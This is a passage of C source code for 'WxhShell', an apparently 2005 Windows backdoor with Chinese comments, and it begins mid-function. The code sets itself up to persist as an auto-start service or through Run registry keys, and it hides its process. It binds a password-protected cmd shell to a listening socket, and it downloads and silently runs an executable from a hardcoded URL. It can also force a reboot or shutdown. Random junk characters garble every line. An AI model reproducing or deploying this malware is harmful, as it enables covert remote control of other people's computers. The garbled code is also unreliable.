    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +J_c'ChN  
    if(Boot(SHUTDOWN)) l/BLUl~z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jpj}@,  
    else { b^ L \>3  
    closesocket(wsh); B||*.`3gN  
    ExitThread(0); $ .C=H[QC  
    } :@kGAI  
    break; &Flglj~7l  
    } dI*pDDq#  
  // 获取shell t2EHrji~  
  case 's': { -mC0+}h  
    CmdShell(wsh); w3#Wh|LQ-  
    closesocket(wsh); kUq=5Y `D  
    ExitThread(0); W!%]_I!&K  
    break; A:>01ZJ5S+  
  } 0n@rLF  
  // 退出 ^:K3vC[h;c  
  case 'x': { unshH<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FjK3 .>'  
    CloseIt(wsh); 0T@Zb={  
    break; zw+B9PYqX  
    } &yGaCq;0  
  // 离开 $h^wG)s2P  
  case 'q': { _6O\W%it  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bnm P{Ps  
    closesocket(wsh); D Gr> 2  
    WSACleanup(); ,RE\$~`w  
    exit(1); yN~dU0.G6!  
    break; ^w(p8G_-w  
        } s<*XN NE7  
  } 0F@"b{&0  
  } EM]s/LD@%  
MJ7Y#<u  
  // 提示信息 +IrLDsd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aF)1Nm[  
} GRGzP&}@  
  } \x)n>{3C  
9w"h  
  return; MA;1 ;uI,  
} U2{ dN>  
Z&ZP"P4  
// shell模块句柄 `1'6bp`Z  
int CmdShell(SOCKET sock) i\1TOP|h  
{ T~QWRBO  
STARTUPINFO si; 9!T[Z/}T  
ZeroMemory(&si,sizeof(si)); *j]9vktH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eL^.,H0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NxjB/N  
PROCESS_INFORMATION ProcessInfo; e&7JpT  
char cmdline[]="cmd"; /[O(ea$U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PH`9MXh  
  return 0; ="x\`+U  
} ^m?KRm2  
P9=?zh 6G.  
// 自身启动模式 W)9K`hM6  
int StartFromService(void) d_4T}% q  
{ Vm%1> '&  
typedef struct $P>`m$(8  
{ S M!Txe#  
  DWORD ExitStatus; S?RN?1  
  DWORD PebBaseAddress; ]GN7+ 8l  
  DWORD AffinityMask; ld3-C55  
  DWORD BasePriority; -M%_\;"de  
  ULONG UniqueProcessId; [`p=(/I&L  
  ULONG InheritedFromUniqueProcessId; MxWy*|J}  
}   PROCESS_BASIC_INFORMATION; bSsh^Z  
RMd[Yr2e  
PROCNTQSIP NtQueryInformationProcess; ?dD&p8{  
h]og*(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4$qWiG~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ELBa}h;  
,z3{u162  
  HANDLE             hProcess; b|cyjDMAA  
  PROCESS_BASIC_INFORMATION pbi; 20vXSYa~  
]d,S749(s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >2~+.WePu  
  if(NULL == hInst ) return 0; uvtF_P/  
.{ 44a$)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [!}:KD2yX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /TZOJE(2j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qi_>Mg`x  
U Z.=aQ}M  
  if (!NtQueryInformationProcess) return 0; (rkyWz  
O<96/a'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RRmLd/(  
  if(!hProcess) return 0; T?:glp[4I  
ZN! 4;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]04 e1F1J  
QA2borfy  
  CloseHandle(hProcess); j{Hao\F8  
oo.!.Kv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _cy2z  
if(hProcess==NULL) return 0; ,Vh.T&X5  
bA\<.d  
HMODULE hMod; YGv<VOWG2  
char procName[255]; &07]LF$]  
unsigned long cbNeeded; ^&bRX4pYo  
vr0WS3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v3}L`dyh3  
Hu.t 3:w  
  CloseHandle(hProcess); ]4h92\\965  
j6>.n49_  
if(strstr(procName,"services")) return 1; // 以服务启动 .u:81I=w(  
r) $+   
  return 0; // 注册表启动 *NkA8PC  
} 'rMN=1:iu"  
M&N B/  
// 主模块 <@}I0  
int StartWxhshell(LPSTR lpCmdLine) f8M$45A'  
{ p!sWYui  
  SOCKET wsl;  Np'2}6P  
BOOL val=TRUE; *c%oN |  
  int port=0; o&`<+4 i  
  struct sockaddr_in door; 2WtRJi?b|  
F#5B<I  
  if(wscfg.ws_autoins) Install(); w=LP"bqlI  
_^el\  
port=atoi(lpCmdLine); 0$7s^?G0  
COTp  
if(port<=0) port=wscfg.ws_port; 8<.C3m 6h  
66.5QD0  
  WSADATA data; 0j30LXI_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T/^Hz4uA7  
Jrg2/ee,*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )dY=0"4Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w" SoeU  
  door.sin_family = AF_INET; YyTSyP4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pY_s*0_  
  door.sin_port = htons(port); _Qh z3'I1  
?T>'j mmV=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z;A>9vQ_J  
closesocket(wsl); Vs%|pIV  
return 1; QmLF[\Oo_  
} .A-]_98Z  
6U[4%(  
  if(listen(wsl,2) == INVALID_SOCKET) { ;QW3CEaUq  
closesocket(wsl); UlAzJO6"  
return 1; qZ}P*+`Q  
} deM7fN4lTi  
  Wxhshell(wsl); aYuD>rD  
  WSACleanup(); uq, { tV  
x~GQV^(l3  
return 0; {"&SJt[%X  
/1x,h"T\<  
} 'XzXZJ[uq  
ZO4*sIw%  
// 以NT服务方式启动 5aln>1x>hn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a@\D$#2r  
{ %F:)5gT?  
DWORD   status = 0; hoQs @[  
  DWORD   specificError = 0xfffffff; )//I'V  
_U{zMVr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W D T]!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z I+\Oll#Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H ,+? t  
  serviceStatus.dwWin32ExitCode     = 0; xdf82)  
  serviceStatus.dwServiceSpecificExitCode = 0; =JKv:</.G  
  serviceStatus.dwCheckPoint       = 0; mt5KbA>nU  
  serviceStatus.dwWaitHint       = 0; /9zE^YcT  
V5GW:QT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ma8_:7`>O  
  if (hServiceStatusHandle==0) return; rg{9UVj  
 ?p(/_@  
status = GetLastError(); 94 e): jS  
  if (status!=NO_ERROR) ;x:rZV/  
{ ;=<-5;rI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [8Qro8  
    serviceStatus.dwCheckPoint       = 0; TQ{Han!  
    serviceStatus.dwWaitHint       = 0; }|5 V RJA  
    serviceStatus.dwWin32ExitCode     = status; -T&.kYqnb$  
    serviceStatus.dwServiceSpecificExitCode = specificError; -i4&v7"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =egW  
    return; 8}fu,$$5  
  } 05snuNt]-  
Ux#x#N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Qt,M!i,  
  serviceStatus.dwCheckPoint       = 0; HAv{R!*  
  serviceStatus.dwWaitHint       = 0; "=6v&G]U4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E\IlF 6  
} !'j?.F $}  
K-f1{ 0  
// 处理NT服务事件,比如:启动、停止 `;l?12|X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WdZ:K,  
{ yuDZ~0]R  
switch(fdwControl) TYlbU<  
{ {X*^s5{;H  
case SERVICE_CONTROL_STOP:  ;b`[&g  
  serviceStatus.dwWin32ExitCode = 0; K =wBpLB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XuD=E  
  serviceStatus.dwCheckPoint   = 0; rHf&:~   
  serviceStatus.dwWaitHint     = 0; +J{0 E  
  { <c%W")0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m8 SA6Y\  
  } $&"V^@  
  return; m! W3Cwz\&  
case SERVICE_CONTROL_PAUSE: PH*\AZJCl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *J+_|_0nlW  
  break; fm(e3]  
case SERVICE_CONTROL_CONTINUE: hFk3[zTy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \=0V uz  
  break; 9 _QP!,  
case SERVICE_CONTROL_INTERROGATE: A8q;q2  
  break; 2MATpV#BT  
}; 0vVV%,v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {0;3W7  
} iSFuT7; %  
m$9w"8R  
// 标准应用程序主函数 xGU(n _Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qc[3Fq,f  
{ 8E8N6  
!q-f9E4`  
// 获取操作系统版本 eL4NB$Fb  
OsIsNt=GetOsVer(); 25NTIzI@@  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  )@ ~J  
R-Z~V  
  // 从命令行安装 e#,~,W.H  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]$p{I)d&  
[kqYfY?K  
  // 下载执行文件 C-8qj>  
if(wscfg.ws_downexe) { ?-tVSRKQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?KITC;\\  
  WinExec(wscfg.ws_filenam,SW_HIDE); R(-<BtM!-  
} }BiiE%a  
$2<d<Um~z  
if(!OsIsNt) { ^/5XZ} *  
// 如果时win9x,隐藏进程并且设置为注册表启动 #/NS&_Ge0s  
HideProc(); ,jC3Fcly  
StartWxhshell(lpCmdLine); <BO)E(  
} <BSc* 9Q  
else P_c,BlfGMH  
  if(StartFromService()) uZZU{U9h  
  // 以服务方式启动 7},)]da>,'  
  StartServiceCtrlDispatcher(DispatchTable); w=|GJ 0  
else *=fr8  
  // 普通方式启动 2DB7+aZ*  
  StartWxhshell(lpCmdLine); U|HB=BP  
?x^z]N|P  
return 0; ~V/?H!r'{}  
} A/7X9ir  
DfV~!bY  
H"Klj_<dH0  
tX!n sm1  
=========================================== *xE,sj+(  
>|6iR%"f#  
U:MPgtwe  
G60R9y47c  
or k=`};  
hLDA]s  
" XyMG.r-,  
x!_<z''  
#include <stdio.h> 4lqH8l.  
#include <string.h>  6l$L~>  
#include <windows.h> lCF `*DM#  
#include <winsock2.h> BS&;n  
#include <winsvc.h> Cda!Mk:  
#include <urlmon.h> );*YQmdx'  
`MEYd U1  
#pragma comment (lib, "Ws2_32.lib") 8?*RIA.a  
#pragma comment (lib, "urlmon.lib") R.LL#u};  
N)S!7%ne  
#define MAX_USER   100 // 最大客户端连接数 341?0 %=  
#define BUF_SOCK   200 // sock buffer 0wFH!s/B  
#define KEY_BUFF   255 // 输入 buffer 2Bk$ lx7  
;Nr]X  
#define REBOOT     0   // 重启 AH4EtZC=W  
#define SHUTDOWN   1   // 关机 -`f04_@>d  
_U{([M>;  
#define DEF_PORT   5000 // 监听端口 #{9G sD  
|!q$_at  
#define REG_LEN     16   // 注册表键长度 @HBEt^!  
#define SVC_LEN     80   // NT服务名长度 ^E6d`2w-  
'a^{=+  
// 从dll定义API pG^}Xf2a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >K# ,cxY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =`Y.=RL+'n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y~)T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \@}#Gez  
ri1C-TJM)  
// wxhshell配置信息 b dJ+@r  
struct WSCFG { E42eOGp9i  
  int ws_port;         // 监听端口 @<M*qK1h  
  char ws_passstr[REG_LEN]; // 口令 B/Gd(S`@q  
  int ws_autoins;       // 安装标记, 1=yes 0=no cL8#S>>u.  
  char ws_regname[REG_LEN]; // 注册表键名 .Hc(y7HV  
  char ws_svcname[REG_LEN]; // 服务名 okq[ o90  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \V2,pi8'v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r}u%#G+K,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I _i6-<c.Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M HL("v(@B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tn|,O.t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J ti(b*~  
:Vg}V"QR  
}; dbS +  
/D_+{dtE  
// default Wxhshell configuration `]$?uQ  
struct WSCFG wscfg={DEF_PORT, M+wt_ _vHf  
    "xuhuanlingzhe", #a| L3zR5v  
    1, -ng=l;  
    "Wxhshell", 19(Dj&x  
    "Wxhshell", >x3ug]Bu  
            "WxhShell Service", Px M!U!t  
    "Wrsky Windows CmdShell Service", kl1Y] ?z}  
    "Please Input Your Password: ", e75UMWaeC  
  1, < Fs-3(V+\  
  "http://www.wrsky.com/wxhshell.exe", _,6f#t  
  "Wxhshell.exe" 7GZgu$'  
    }; I8H%=Kb?9  
IMQ]1uq0$  
// 消息定义模块 *m+5Pr`7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U-0#0}_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HNa]H;-+5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NYABmI/0c  
char *msg_ws_ext="\n\rExit."; Ip}Vb6}  
char *msg_ws_end="\n\rQuit."; rVQX7l#YI  
char *msg_ws_boot="\n\rReboot..."; iA!7E;o  
char *msg_ws_poff="\n\rShutdown..."; {dPgf  
char *msg_ws_down="\n\rSave to "; oK+ WF  
oUx[+Gnv  
char *msg_ws_err="\n\rErr!"; 'f/Lv@]a  
char *msg_ws_ok="\n\rOK!"; lH|LdlX  
nzX@:7g  
char ExeFile[MAX_PATH]; R.j1?\  
int nUser = 0; ?IX!+>.H  
HANDLE handles[MAX_USER]; OlxX.wP  
int OsIsNt; Q\{x)|{$  
{OT:3SS7  
SERVICE_STATUS       serviceStatus; ,]Zp+>{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >+cVs:  
<Wl(9$  
// 函数声明 ,/&Zw01dGN  
int Install(void); }tST)=M`  
int Uninstall(void); ^T4Ay=~{  
int DownloadFile(char *sURL, SOCKET wsh); ;52'}%5  
int Boot(int flag); Jf:,y~mV  
void HideProc(void); +rNkN:/L  
int GetOsVer(void); TrE3S'EU#R  
int Wxhshell(SOCKET wsl); YpdNX.P,  
void TalkWithClient(void *cs); FM^9}*  
int CmdShell(SOCKET sock); HTz+K6&  
int StartFromService(void); c\cZ]RZ  
int StartWxhshell(LPSTR lpCmdLine); MM{_Ur7Q  
$2z _{@Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X`zC ^z}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eukA[nO7G  
h`MdKX$  
// 数据结构和表定义 NWmtwS+@  
SERVICE_TABLE_ENTRY DispatchTable[] = 7z~Ghz  
{ 9x~-*8aw  
{wscfg.ws_svcname, NTServiceMain}, OIaYHA  
{NULL, NULL} 3$M3Q]z  
}; [JTto!Ih$  
U;xF#e  
// 自我安装 Uhh l3%p  
int Install(void) dc0@Y  
{ Az*KsY{/r  
  char svExeFile[MAX_PATH]; j!#O G  
  HKEY key; CfT/R/L  
  strcpy(svExeFile,ExeFile); f1{z~i9@$  
H*e'Cs/  
// 如果是win9x系统,修改注册表设为自启动 {LE&ylE  
if(!OsIsNt) { "Q+83adY4x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s<T?pH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ((DzUyK  
  RegCloseKey(key); X=p"5hhfn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $v;dV@tB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P-z`c\Rt  
  RegCloseKey(key); !FG%2L4?,5  
  return 0; ]j.k?P$U}  
    } K <`>O, F  
  } A{,n;;  
} Lue|Plm[y  
else { 4\ $3  
SHdL /1~t  
// 如果是NT以上系统,安装为系统服务  ;\b@)E}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L&w.j0fq  
if (schSCManager!=0) =_=*OEgO]  
{ *:_~Nn9_R;  
  SC_HANDLE schService = CreateService W=-|`  
  ( y62%26 [  
  schSCManager, KS>$`ax,  
  wscfg.ws_svcname, 18!VO4u\I  
  wscfg.ws_svcdisp, )Id2GV~2B  
  SERVICE_ALL_ACCESS, 2wh#$zGy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XQ;I,\m  
  SERVICE_AUTO_START, ['Z{@9  
  SERVICE_ERROR_NORMAL, Sgj/s~j~1  
  svExeFile, )r!e2zc=Q  
  NULL, V 7<eQ0;m  
  NULL, Px4/O~bLk  
  NULL,  mIc:2.q^  
  NULL, z-u?s`k**  
  NULL v|+5:jFOqb  
  ); z:G}>fk5  
  if (schService!=0) sk X]8  
  { BnEdv8\,&s  
  CloseServiceHandle(schService); m/${8  
  CloseServiceHandle(schSCManager); 6}&^=^-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f~\Xg7<  
  strcat(svExeFile,wscfg.ws_svcname); 6M><(1fT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $-G`&oT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lar r}o=  
  RegCloseKey(key); ^Vo"fI`=C  
  return 0; g6' !v  
    } IcoowZZ   
  } E/ O5e(h  
  CloseServiceHandle(schSCManager); E 5kF^P  
} PW[6/7  
} ju{%'D!d9  
RV!<?[  
return 1; -0|K,k  
} W);W.:F  
cC6z,0`3  
// 自我卸载 eqFvrESN~=  
int Uninstall(void) ePA;:8)_j  
{ G(OFr2M  
  HKEY key; z\Ui8jo:;  
sJ6a7A8)  
if(!OsIsNt) { ~mA7pOHj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L+R >%d s  
  RegDeleteValue(key,wscfg.ws_regname); vfbe$4mH  
  RegCloseKey(key); TA)LPBG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k^*$^;z  
  RegDeleteValue(key,wscfg.ws_regname); 1X:&* a"5  
  RegCloseKey(key); ks:{TA27  
  return 0; d.\PS9l  
  } _t.FL@3e  
} fOBN=y6x  
} T|+$@o  
else { 5faj;I{%JY  
ZLJNw0!=|t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qY}Cg0[@g  
if (schSCManager!=0) JK^[{1 JI  
{ Kq7C0)23  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $^$ECDOTB  
  if (schService!=0) HDj$"pS  
  { U"x~Jb3]O  
  if(DeleteService(schService)!=0) { $c9=mjwH  
  CloseServiceHandle(schService); )>$^wT  
  CloseServiceHandle(schSCManager); ,>S+-L8  
  return 0; b;{h?xc6  
  } RZ6~c{  
  CloseServiceHandle(schService); @XBH.A^7r  
  }  q)oN 2-  
  CloseServiceHandle(schSCManager); E\! n49  
} >Z"9rF2SW  
} +S0u=u65  
,>w}xWSYpG  
return 1; pzSqbgfrQ  
} + (=I8s/  
1*c>I@I;  
// 从指定url下载文件 h#O"Q+J9n  
int DownloadFile(char *sURL, SOCKET wsh) )k~1,  
{ <ge}9pU)o^  
  HRESULT hr; wT% "5:  
char seps[]= "/"; A;t zRe  
char *token; uQ1jwYK`7  
char *file; -$L(y@%X^  
char myURL[MAX_PATH]; X 7&U3v  
char myFILE[MAX_PATH]; @ RX`>r{_  
|D(&w+(  
strcpy(myURL,sURL); *[ #*n n  
  token=strtok(myURL,seps); ||fvKyKW>  
  while(token!=NULL) Q 3X  
  { cuMc*i$w!  
    file=token; &CO| Y(+  
  token=strtok(NULL,seps); }{=8&gA0  
  } /&QQ p3  
WVkG 2  
GetCurrentDirectory(MAX_PATH,myFILE); oek #^:pF  
strcat(myFILE, "\\"); x/_dW  
strcat(myFILE, file); EqQ3=XMUL@  
  send(wsh,myFILE,strlen(myFILE),0); xXPUrv5zO  
send(wsh,"...",3,0); "cQvd(kug  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v,*Q]r0m  
  if(hr==S_OK) D+hB[*7Fs  
return 0; 19w_tSg  
else |Cq8%  
return 1; ;%!tf{Si  
$2is3;h  
} \ %_)_"Q  
4JSZ0:O  
// 系统电源模块 d/4ubf+$k  
int Boot(int flag) F7V6-V{_  
{ 8.-S$^hj~6  
  HANDLE hToken; v*XkWH5  
  TOKEN_PRIVILEGES tkp; ? KF=W  
;,v.(Z ic  
  if(OsIsNt) { ^f6 {0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H.9yT\f.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -O /T?H  
    tkp.PrivilegeCount = 1; "Whwc   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~R$[n.Vpk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XK3!V|y`  
if(flag==REBOOT) { bZK+9IR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YPG,9iZ&f  
  return 0; <oZ(ng@X  
} A$N+9n\  
else { oL)lyUVT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =kF? _KN  
  return 0; lh~<s2[R2  
} ^+URv  
  } $)l2G;&  
  else { KZZOi:  
if(flag==REBOOT) { bu_/R~&3{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nrF!;:x  
  return 0; ,,Jjr[A_j  
} ~R'BU=!;F  
else { [~!.a\[RW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,5=kDw2  
  return 0; e7lo!( >#  
} .@Hmg  
} a" ^#!G<+  
TG4^_nRl  
return 1; i'Wcf1I-=  
} 89db5Dx  
LH,]vuXh  
// win9x进程隐藏模块 E`(5UF*>  
void HideProc(void) VZt;P%1;h  
{ \u{Jf'g  
R !Fx)xj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G I&qwA  
  if ( hKernel != NULL ) An/>0 5|  
  { 9}.,2JE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j6RJC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lblet  
    FreeLibrary(hKernel); J-b~4  
  } %l%=Dkss  
6W]OpM  
return; 7KeXWW/d  
}  !,Qm  
SQKi2\8w  
// 获取操作系统版本 <|B$dz?r  
int GetOsVer(void) Tm%WWbc  
{ aD?# ,  
  OSVERSIONINFO winfo; ;,mBT[_ZO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %Fs*#S  
  GetVersionEx(&winfo); K?$ 9N}+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a^%8QJW  
  return 1; ^dheJ]n=k  
  else [y_yPOv  
  return 0; /4(Z`e;0  
} 'lxLnX  
}!eF  
// 客户端句柄模块 \moZ6J  
int Wxhshell(SOCKET wsl) YomwjKyuP  
{ ~wa%fM  
  SOCKET wsh; p .lu4  
  struct sockaddr_in client; c5Z;%v |y  
  DWORD myID; ;_>s0rUV  
b=V)?"e-  
  while(nUser<MAX_USER) CM`x>J  
{ +GRxHuW,  
  int nSize=sizeof(client); K3a>^g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L-`(!j  
  if(wsh==INVALID_SOCKET) return 1; Q -M rH   
7ytm .lU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .L~fFns/  
if(handles[nUser]==0) aIQrb  
  closesocket(wsh); !&'# a  
else k,a,h^{}j  
  nUser++; Lr K9F^c  
  } "1_{c *ck  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q2[+-B)m  
BT&rp%NO6l  
  return 0; czXI?]gg,  
} <+ -V5O^  
7^n,Ti g  
// 关闭 socket &*X3c h  
void CloseIt(SOCKET wsh) 5}<.1ab3V  
{ z\X60T  
closesocket(wsh); H?rSP0.  
nUser--; 7yo|ie@S  
ExitThread(0); 1-4   
} Q,OkO?uY  
ztRWIkI q  
// 客户端请求句柄 rd|@*^k  
void TalkWithClient(void *cs) %{N>c:2I$  
{ Rh!L'? C  
emGV]A%nss  
  SOCKET wsh=(SOCKET)cs; ; :v]NZtc  
  char pwd[SVC_LEN]; $ iX^p4v  
  char cmd[KEY_BUFF]; oc!biE`u  
char chr[1]; #N<s^KYG-  
int i,j; }T?i%l  
>:3xi{  
  while (nUser < MAX_USER) { Ej;Vr~Wi  
##SLwrg  
if(wscfg.ws_passstr) { $xKg }cO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i n[n A a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9itdRa==  
  //ZeroMemory(pwd,KEY_BUFF); n,C D4Nv  
      i=0; _Ym&UY.u#  
  while(i<SVC_LEN) { *O"%tp6  
0S)"Q^6n y  
  // 设置超时 :6\-9m8JM  
  fd_set FdRead; 1C^HCIH7J  
  struct timeval TimeOut; pkrl@ jv >  
  FD_ZERO(&FdRead); f]@[4<Ny  
  FD_SET(wsh,&FdRead); !Ei Ze.K  
  TimeOut.tv_sec=8; AlPL;^Y_l  
  TimeOut.tv_usec=0; O^QR;<t'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P^'>dOI0w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \#h})`  
`D&#U'wB   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bbn832iMUY  
  pwd=chr[0]; 5^G7pI7  
  if(chr[0]==0xd || chr[0]==0xa) { N[|by}@n  
  pwd=0; h$#4ebp  
  break; (.jO:#eE%  
  } ?^e*UJNM  
  i++; z|t.y.JX  
    } ;j[q?^ b  
7)ES!C   
  // 如果是非法用户,关闭 socket :X1`wBu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -ucz+{  
} <MI$N l  
"B_5Y&pM`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zq2H9^![y~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g7E`;&f  
ONg<  
while(1) { ~m,mvRS  
\? 5[RR  
  ZeroMemory(cmd,KEY_BUFF); JCCx 5  
ND)M3qp2(  
      // 自动支持客户端 telnet标准   I(iGs I  
  j=0; i]h R7g<  
  while(j<KEY_BUFF) { =CD:.FG.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A;/Xt  
  cmd[j]=chr[0]; ;iwD/=Y  
  if(chr[0]==0xa || chr[0]==0xd) { LN,$P  
  cmd[j]=0; Zp% ""  
  break; 4nVO.Ud0$X  
  } V!yp@%D  
  j++; Q!BkS=H30K  
    } Q@3ld6y  
AOvH&9**  
  // 下载文件 hs -}:^S`  
  if(strstr(cmd,"http://")) { #U6/@l)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 93zlfLS0  
  if(DownloadFile(cmd,wsh)) DI2S %N l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DcFV^8O&  
  else .q'FSEkMJ  
